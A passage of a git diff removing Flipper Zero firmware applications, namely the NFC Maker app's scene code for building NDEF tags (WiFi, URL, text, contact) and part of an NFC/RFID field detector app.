// No prepend - memcpy(&payload[j], app->big_buf, data_len); - j += data_len; - break; - } - case NfcMakerSceneWifi: { - tnf = 0x02; // Media-type [RFC 2046] - type = "application/vnd.wfa.wsc"; - - uint8_t ssid_len = strnlen(app->small_buf1, SMALL_INPUT_LEN); - uint8_t pass_len = strnlen(app->small_buf2, SMALL_INPUT_LEN); - uint8_t data_len = ssid_len + pass_len; - payload_len = data_len + 39; - payload = malloc(payload_len); - - payload[j++] = 0x10; - payload[j++] = 0x0E; - payload[j++] = 0x00; - - payload[j++] = data_len + 43; - payload[j++] = 0x10; - payload[j++] = 0x26; - payload[j++] = 0x00; - - payload[j++] = 0x01; - payload[j++] = 0x01; - payload[j++] = 0x10; - payload[j++] = 0x45; - - payload[j++] = 0x00; - payload[j++] = ssid_len; - memcpy(&payload[j], app->small_buf1, ssid_len); - j += ssid_len; - payload[j++] = 0x10; - payload[j++] = 0x03; - - payload[j++] = 0x00; - payload[j++] = 0x02; - payload[j++] = 0x00; - payload[j++] = - scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiAuth); - - payload[j++] = 0x10; - payload[j++] = 0x0F; - payload[j++] = 0x00; - payload[j++] = 0x02; - - payload[j++] = 0x00; - payload[j++] = - scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiEncr); - payload[j++] = 0x10; - payload[j++] = 0x27; - - payload[j++] = 0x00; - payload[j++] = pass_len; - memcpy(&payload[j], app->small_buf2, pass_len); - j += pass_len; - payload[j++] = 0x10; - payload[j++] = 0x20; - - payload[j++] = 0x00; - payload[j++] = 0x06; - payload[j++] = 0xFF; - payload[j++] = 0xFF; - - payload[j++] = 0xFF; - payload[j++] = 0xFF; - payload[j++] = 0xFF; - payload[j++] = 0xFF; - - break; - } - default: - break; - } - - // Record header - uint8_t flags = 0; - flags |= 1 << 7; // MB (Message Begin) - flags |= 1 << 6; // ME (Message End) - flags |= tnf; // TNF (Type Name Format) - size_t type_len = strlen(type); - - size_t header_len = 0; - header_len += 1; // Flags and TNF - header_len += 1; // Type length - if(payload_len < 0xFF) { - flags |= 1 << 4; // SR (Short Record) - header_len += 1; // Payload length - } else { - header_len += 4; // Payload length - } - header_len += type_len; // Payload type - - size_t record_len = header_len + payload_len; - if(record_len < 0xFF) { - buf[i++] = record_len; // Record length - } else { - buf[i++] = 0xFF; // Record length - buf[i++] = record_len >> 8; // ... - buf[i++] = record_len & 0xFF; // ... - } - buf[i++] = flags; // Flags and TNF - buf[i++] = type_len; // Type length - if(flags & 1 << 4) { // SR (Short Record) - buf[i++] = payload_len; // Payload length - } else { - buf[i++] = 0x00; // Payload length - buf[i++] = 0x00; // ... - buf[i++] = payload_len >> 8; // ... - buf[i++] = payload_len & 0xFF; // ... - } - memcpy(&buf[i], type, type_len); // Payload type - i += type_len; - - // Record payload - memcpy(&buf[i], payload, payload_len); - i += payload_len; - free(payload); - - // Record terminator - buf[i++] = 0xFE; - - // Padding until last 5 pages - for(; i < size - 20; i++) { - buf[i] = 0x00; - } - - // Last 5 static pages - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0xBD; - - buf[i++] = 0x04; - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0xFF; - - buf[i++] = 0x00; - buf[i++] = 0x05; - buf[i++] = 0x00; - buf[i++] = 0x00; - - buf[i++] = 0xFF; - buf[i++] = 0xFF; - buf[i++] = 0xFF; - buf[i++] = 0xFF; - - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0x00; - buf[i++] = 0x00; - - // Write pages - char str[16]; - bool ok = true; - for(size_t page = 0; page < pages; page++) { - snprintf(str, sizeof(str), "Page %u", page); - if(!flipper_format_write_hex(file, str, &buf[page * 4], 4)) { - ok = false; - break; - } - } - if(!ok) break; - - success = true; - - } while(false); - free(buf); - - furi_string_free(path); - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); - - if(success) { - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - } else { - popup_set_icon(popup, 32, 5, &I_DolphinNice_96x59); - popup_set_header(popup, "Saved!", 13, 22, AlignLeft, AlignBottom); - } - popup_set_timeout(popup, 1500); - popup_set_context(popup, app); - popup_set_callback(popup, nfc_maker_scene_result_popup_callback); - popup_enable_timeout(popup); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewPopup); -} - -bool nfc_maker_scene_result_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case PopupEventExit: - scene_manager_search_and_switch_to_previous_scene( - app->scene_manager, NfcMakerSceneStart); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_result_on_exit(void* context) { - NfcMaker* app = context; - popup_reset(app->popup); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_save.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_save.c deleted file mode 100644 index ee960cf3d..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_save.c +++ /dev/null @@ -1,57 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_save_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_save_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Save the NFC tag:"); - - set_random_name(app->save_buf, BIG_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_save_text_input_callback, - app, - app->save_buf, - BIG_INPUT_LEN, - true); - - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(NFC_APP_FOLDER, NFC_APP_EXTENSION, NULL); - nfc_maker_text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_save_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneResult); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_save_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_start.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_start.c deleted file mode 100644 index e791b1284..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_start.c +++ /dev/null @@ -1,68 +0,0 @@ -#include "../nfc_maker.h" - -void nfc_maker_scene_start_submenu_callback(void* context, uint32_t index) { - NfcMaker* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_maker_scene_start_on_enter(void* context) { - NfcMaker* app = context; - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "NFC Tag Maker:"); - - submenu_add_item( - submenu, - "Bluetooth MAC", - NfcMakerSceneBluetooth, - nfc_maker_scene_start_submenu_callback, - app); - - submenu_add_item( - submenu, - "Contact Vcard", - NfcMakerSceneContact, - nfc_maker_scene_start_submenu_callback, - app); - - submenu_add_item( - submenu, "HTTPS Link", NfcMakerSceneHttps, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Mail Address", NfcMakerSceneMail, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Phone Number", NfcMakerScenePhone, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Text Note", NfcMakerSceneText, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "Plain URL", NfcMakerSceneUrl, nfc_maker_scene_start_submenu_callback, app); - - submenu_add_item( - submenu, "WiFi Login", NfcMakerSceneWifi, nfc_maker_scene_start_submenu_callback, app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneStart)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewSubmenu); -} - -bool nfc_maker_scene_start_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneStart, event.event); - consumed = true; - scene_manager_next_scene(app->scene_manager, event.event); - } - - return consumed; -} - -void nfc_maker_scene_start_on_exit(void* context) { - NfcMaker* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_text.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_text.c deleted file mode 100644 index 3c1f7d3ca..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_text.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_text_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_text_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Text Note:"); - - strlcpy(app->big_buf, "Lorem ipsum", BIG_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_text_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_text_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_text_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_url.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_url.c deleted file mode 100644 index 03c620308..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_url.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_url_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_url_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter Plain URL:"); - - strlcpy(app->big_buf, "https://google.com", BIG_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_url_text_input_callback, - app, - app->big_buf, - BIG_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_url_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_url_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi.c deleted file mode 100644 index e7cdc6640..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi.c +++ /dev/null @@ -1,55 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_wifi_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_wifi_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter WiFi SSID:"); - - strlcpy(app->small_buf1, "Bill Wi the Science Fi", SMALL_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_wifi_text_input_callback, - app, - app->small_buf1, - SMALL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_wifi_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_set_scene_state( - app->scene_manager, NfcMakerSceneWifiAuth, WifiAuthenticationWpa2Personal); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneWifiAuth); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_wifi_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_auth.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_auth.c deleted file mode 100644 index 6e14c4e97..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_auth.c +++ /dev/null @@ -1,83 +0,0 @@ -#include "../nfc_maker.h" - -void nfc_maker_scene_wifi_auth_submenu_callback(void* context, uint32_t index) { - NfcMaker* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_maker_scene_wifi_auth_on_enter(void* context) { - NfcMaker* app = context; - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "Authentication Type:"); - - submenu_add_item( - submenu, "Open", WifiAuthenticationOpen, nfc_maker_scene_wifi_auth_submenu_callback, app); - - submenu_add_item( - submenu, - "WPA 2 Personal", - WifiAuthenticationWpa2Personal, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "WPA 2 Enterprise", - WifiAuthenticationWpa2Enterprise, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "WPA Personal", - WifiAuthenticationWpaPersonal, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "WPA Enterprise", - WifiAuthenticationWpaEnterprise, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_add_item( - submenu, - "Shared", - WifiAuthenticationShared, - nfc_maker_scene_wifi_auth_submenu_callback, - app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiAuth)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewSubmenu); -} - -bool nfc_maker_scene_wifi_auth_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneWifiAuth, event.event); - consumed = true; - if(event.event == WifiAuthenticationOpen) { - scene_manager_set_scene_state( - app->scene_manager, NfcMakerSceneWifiEncr, WifiEncryptionNone); - strcpy(app->small_buf2, ""); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - } else { - scene_manager_set_scene_state( - app->scene_manager, NfcMakerSceneWifiEncr, WifiEncryptionAes); - scene_manager_next_scene(app->scene_manager, NfcMakerSceneWifiEncr); - } - } - - return consumed; -} - -void nfc_maker_scene_wifi_auth_on_exit(void* context) { - NfcMaker* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_encr.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_encr.c deleted file mode 100644 index d1a21f51a..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_encr.c +++ /dev/null @@ -1,48 +0,0 @@ -#include "../nfc_maker.h" - -void nfc_maker_scene_wifi_encr_submenu_callback(void* context, uint32_t index) { - NfcMaker* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, index); -} - -void nfc_maker_scene_wifi_encr_on_enter(void* context) { - NfcMaker* app = context; - Submenu* submenu = app->submenu; - - submenu_set_header(submenu, "Encryption Type:"); - - submenu_add_item( - submenu, "AES", WifiEncryptionAes, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_add_item( - submenu, "WEP", WifiEncryptionWep, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_add_item( - submenu, "TKIP", WifiEncryptionTkip, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_add_item( - submenu, "None", WifiEncryptionNone, nfc_maker_scene_wifi_encr_submenu_callback, app); - - submenu_set_selected_item( - submenu, scene_manager_get_scene_state(app->scene_manager, NfcMakerSceneWifiEncr)); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewSubmenu); -} - -bool nfc_maker_scene_wifi_encr_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_set_scene_state(app->scene_manager, NfcMakerSceneWifiEncr, event.event); - consumed = true; - scene_manager_next_scene(app->scene_manager, NfcMakerSceneWifiPass); - } - - return consumed; -} - -void nfc_maker_scene_wifi_encr_on_exit(void* context) { - NfcMaker* app = context; - submenu_reset(app->submenu); -} diff --git a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_pass.c b/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_pass.c deleted file mode 100644 index 228cd95da..000000000 --- a/applications/external/nfc_maker/scenes/nfc_maker_scene_wifi_pass.c +++ /dev/null @@ -1,53 +0,0 @@ -#include "../nfc_maker.h" - -enum TextInputResult { - TextInputResultOk, -}; - -static void nfc_maker_scene_wifi_pass_text_input_callback(void* context) { - NfcMaker* app = context; - - view_dispatcher_send_custom_event(app->view_dispatcher, TextInputResultOk); -} - -void nfc_maker_scene_wifi_pass_on_enter(void* context) { - NfcMaker* app = context; - NFCMaker_TextInput* text_input = app->text_input; - - nfc_maker_text_input_set_header_text(text_input, "Enter WiFi Password:"); - - strlcpy(app->small_buf2, "244466666", SMALL_INPUT_LEN); - - nfc_maker_text_input_set_result_callback( - text_input, - nfc_maker_scene_wifi_pass_text_input_callback, - app, - app->small_buf2, - SMALL_INPUT_LEN, - true); - - view_dispatcher_switch_to_view(app->view_dispatcher, NfcMakerViewTextInput); -} - -bool nfc_maker_scene_wifi_pass_on_event(void* context, SceneManagerEvent event) { - NfcMaker* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - switch(event.event) { - case TextInputResultOk: - scene_manager_next_scene(app->scene_manager, NfcMakerSceneSave); - break; - default: - break; - } - } - - return consumed; -} - -void nfc_maker_scene_wifi_pass_on_exit(void* context) { - NfcMaker* app = context; - nfc_maker_text_input_reset(app->text_input); -} diff --git a/applications/external/nfc_maker/strnlen.c b/applications/external/nfc_maker/strnlen.c deleted file mode 100644 index 54d183895..000000000 --- a/applications/external/nfc_maker/strnlen.c +++ /dev/null @@ -1,11 +0,0 @@ -#include "strnlen.h" - -size_t strnlen(const char* s, size_t maxlen) { - size_t len; - - for(len = 0; len < maxlen; len++, s++) { - if(!*s) break; - } - - return len; -} \ No newline at end of file diff --git a/applications/external/nfc_maker/strnlen.h b/applications/external/nfc_maker/strnlen.h deleted file mode 100644 index 4fe0d540c..000000000 --- a/applications/external/nfc_maker/strnlen.h +++ /dev/null @@ -1,6 +0,0 @@ -#pragma once -#pragma weak strnlen - -#include - -size_t strnlen(const char* s, size_t maxlen); \ No newline at end of file diff --git a/applications/external/nfc_rfid_detector/application.fam b/applications/external/nfc_rfid_detector/application.fam deleted file mode 100644 index 70c91bc84..000000000 --- a/applications/external/nfc_rfid_detector/application.fam +++ /dev/null @@ -1,13 +0,0 @@ -App( - appid="nfc_rfid_detector", - name="NFC/RFID detector", - apptype=FlipperAppType.EXTERNAL, - targets=["f7"], - entry_point="nfc_rfid_detector_app", - requires=["gui"], - stack_size=4 * 1024, - order=50, - fap_icon="nfc_rfid_detector_10px.png", - fap_category="Tools", - fap_icon_assets="images", -) diff --git a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_event.h b/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_event.h deleted file mode 100644 index bbffe2938..000000000 --- a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_event.h +++ /dev/null @@ -1,7 +0,0 @@ -#pragma once - -typedef enum { - //NfcRfidDetectorCustomEvent - NfcRfidDetectorCustomEventStartId = 100, - -} NfcRfidDetectorCustomEvent; diff --git a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_types.h b/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_types.h deleted file mode 100644 index 5d44b09b7..000000000 --- a/applications/external/nfc_rfid_detector/helpers/nfc_rfid_detector_types.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include - -#define NFC_RFID_DETECTOR_VERSION_APP "0.1" -#define NFC_RFID_DETECTOR_DEVELOPED "SkorP" -#define NFC_RFID_DETECTOR_GITHUB "https://github.com/flipperdevices/flipperzero-firmware" - -typedef enum { - NfcRfidDetectorViewVariableItemList, - NfcRfidDetectorViewSubmenu, - NfcRfidDetectorViewFieldPresence, - NfcRfidDetectorViewWidget, -} NfcRfidDetectorView; diff --git a/applications/external/nfc_rfid_detector/images/Modern_reader_18x34.png b/applications/external/nfc_rfid_detector/images/Modern_reader_18x34.png deleted file mode 100644 index b19c0f30c..000000000 Binary files a/applications/external/nfc_rfid_detector/images/Modern_reader_18x34.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/images/Move_flipper_26x39.png b/applications/external/nfc_rfid_detector/images/Move_flipper_26x39.png deleted file mode 100644 index ff4af9ff0..000000000 Binary files a/applications/external/nfc_rfid_detector/images/Move_flipper_26x39.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/images/NFC_detect_45x30.png b/applications/external/nfc_rfid_detector/images/NFC_detect_45x30.png deleted file mode 100644 index 9d8a6f2ab..000000000 Binary files a/applications/external/nfc_rfid_detector/images/NFC_detect_45x30.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/images/Rfid_detect_45x30.png b/applications/external/nfc_rfid_detector/images/Rfid_detect_45x30.png deleted file mode 100644 index 35c205049..000000000 Binary files a/applications/external/nfc_rfid_detector/images/Rfid_detect_45x30.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_10px.png b/applications/external/nfc_rfid_detector/nfc_rfid_detector_10px.png deleted file mode 100644 index 7e875e028..000000000 Binary files a/applications/external/nfc_rfid_detector/nfc_rfid_detector_10px.png and /dev/null differ diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app.c b/applications/external/nfc_rfid_detector/nfc_rfid_detector_app.c deleted file mode 100644 index cba8b6085..000000000 --- a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app.c +++ /dev/null @@ -1,108 +0,0 @@ -#include "nfc_rfid_detector_app_i.h" - -#include -#include - -static bool nfc_rfid_detector_app_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - return scene_manager_handle_custom_event(app->scene_manager, event); -} - -static bool nfc_rfid_detector_app_back_event_callback(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - return scene_manager_handle_back_event(app->scene_manager); -} - -static void nfc_rfid_detector_app_tick_event_callback(void* context) { - furi_assert(context); - NfcRfidDetectorApp* app = context; - scene_manager_handle_tick_event(app->scene_manager); -} - -NfcRfidDetectorApp* nfc_rfid_detector_app_alloc() { - NfcRfidDetectorApp* app = malloc(sizeof(NfcRfidDetectorApp)); - - // GUI - app->gui = furi_record_open(RECORD_GUI); - - // View Dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - app->scene_manager = scene_manager_alloc(&nfc_rfid_detector_scene_handlers, app); - view_dispatcher_enable_queue(app->view_dispatcher); - - view_dispatcher_set_event_callback_context(app->view_dispatcher, app); - view_dispatcher_set_custom_event_callback( - app->view_dispatcher, nfc_rfid_detector_app_custom_event_callback); - view_dispatcher_set_navigation_event_callback( - app->view_dispatcher, nfc_rfid_detector_app_back_event_callback); - view_dispatcher_set_tick_event_callback( - app->view_dispatcher, nfc_rfid_detector_app_tick_event_callback, 100); - - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Open Notification record - app->notifications = furi_record_open(RECORD_NOTIFICATION); - - // SubMenu - app->submenu = submenu_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcRfidDetectorViewSubmenu, submenu_get_view(app->submenu)); - - // Widget - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, NfcRfidDetectorViewWidget, widget_get_view(app->widget)); - - // Field Presence - app->nfc_rfid_detector_field_presence = nfc_rfid_detector_view_field_presence_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, - NfcRfidDetectorViewFieldPresence, - nfc_rfid_detector_view_field_presence_get_view(app->nfc_rfid_detector_field_presence)); - - scene_manager_next_scene(app->scene_manager, NfcRfidDetectorSceneStart); - - return app; -} - -void nfc_rfid_detector_app_free(NfcRfidDetectorApp* app) { - furi_assert(app); - - // Submenu - view_dispatcher_remove_view(app->view_dispatcher, NfcRfidDetectorViewSubmenu); - submenu_free(app->submenu); - - // Widget - view_dispatcher_remove_view(app->view_dispatcher, NfcRfidDetectorViewWidget); - widget_free(app->widget); - - // Field Presence - view_dispatcher_remove_view(app->view_dispatcher, NfcRfidDetectorViewFieldPresence); - nfc_rfid_detector_view_field_presence_free(app->nfc_rfid_detector_field_presence); - - // View dispatcher - view_dispatcher_free(app->view_dispatcher); - scene_manager_free(app->scene_manager); - - // Notifications - furi_record_close(RECORD_NOTIFICATION); - app->notifications = NULL; - - // Close records - furi_record_close(RECORD_GUI); - - free(app); -} - -int32_t nfc_rfid_detector_app(void* p) { - UNUSED(p); - NfcRfidDetectorApp* nfc_rfid_detector_app = nfc_rfid_detector_app_alloc(); - - view_dispatcher_run(nfc_rfid_detector_app->view_dispatcher); - - nfc_rfid_detector_app_free(nfc_rfid_detector_app); - - return 0; -} diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.c b/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.c deleted file mode 100644 index c59d40d50..000000000 --- a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.c +++ /dev/null @@ -1,40 +0,0 @@ -#include "nfc_rfid_detector_app_i.h" - -#include - -#define TAG "NfcRfidDetector" - -void nfc_rfid_detector_app_field_presence_start(NfcRfidDetectorApp* app) { - furi_assert(app); - - // start the field presence rfid detection - furi_hal_rfid_field_detect_start(); - - // start the field presence nfc detection - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_field_detect_start(); -} - -void nfc_rfid_detector_app_field_presence_stop(NfcRfidDetectorApp* app) { - furi_assert(app); - - // stop the field presence rfid detection - furi_hal_rfid_field_detect_stop(); - - // stop the field presence nfc detection - furi_hal_nfc_start_sleep(); -} - -bool nfc_rfid_detector_app_field_presence_is_nfc(NfcRfidDetectorApp* app) { - furi_assert(app); - - // check if the field presence is nfc - return furi_hal_nfc_field_is_present(); -} - -bool nfc_rfid_detector_app_field_presence_is_rfid(NfcRfidDetectorApp* app, uint32_t* frequency) { - furi_assert(app); - - // check if the field presence is rfid - return furi_hal_rfid_field_is_present(frequency); -} \ No newline at end of file diff --git a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.h b/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.h deleted file mode 100644 index 72cb126d4..000000000 --- a/applications/external/nfc_rfid_detector/nfc_rfid_detector_app_i.h +++ /dev/null @@ -1,30 +0,0 @@ -#pragma once - -#include "helpers/nfc_rfid_detector_types.h" -#include "helpers/nfc_rfid_detector_event.h" - -#include "scenes/nfc_rfid_detector_scene.h" -#include -#include -#include -#include -#include -#include -#include "views/nfc_rfid_detector_view_field_presence.h" - -typedef struct NfcRfidDetectorApp NfcRfidDetectorApp; - -struct NfcRfidDetectorApp { - Gui* gui; - ViewDispatcher* view_dispatcher; - SceneManager* scene_manager; - NotificationApp* notifications; - Submenu* submenu; - Widget* widget; - NfcRfidDetectorFieldPresence* nfc_rfid_detector_field_presence; -}; - -void nfc_rfid_detector_app_field_presence_start(NfcRfidDetectorApp* app); -void nfc_rfid_detector_app_field_presence_stop(NfcRfidDetectorApp* app); -bool nfc_rfid_detector_app_field_presence_is_nfc(NfcRfidDetectorApp* app); -bool nfc_rfid_detector_app_field_presence_is_rfid(NfcRfidDetectorApp* app, uint32_t* frequency); \ No newline at end of file diff --git a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.c b/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.c deleted file mode 100644 index d75eb2884..000000000 --- a/applications/external/nfc_rfid_detector/scenes/nfc_rfid_detector_scene.c +++ /dev/null @@ -1,31 +0,0 @@ -#include "../nfc_rfid_detector_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const nfc_rfid_detector_scene_on_enter_handlers[])(void*) = { -#include "nfc_rfid_detector_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const nfc_rfid_detector_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = - { -#include "nfc_rfid_detector_scene_config.h" -}; -#undef ADD_SCENE 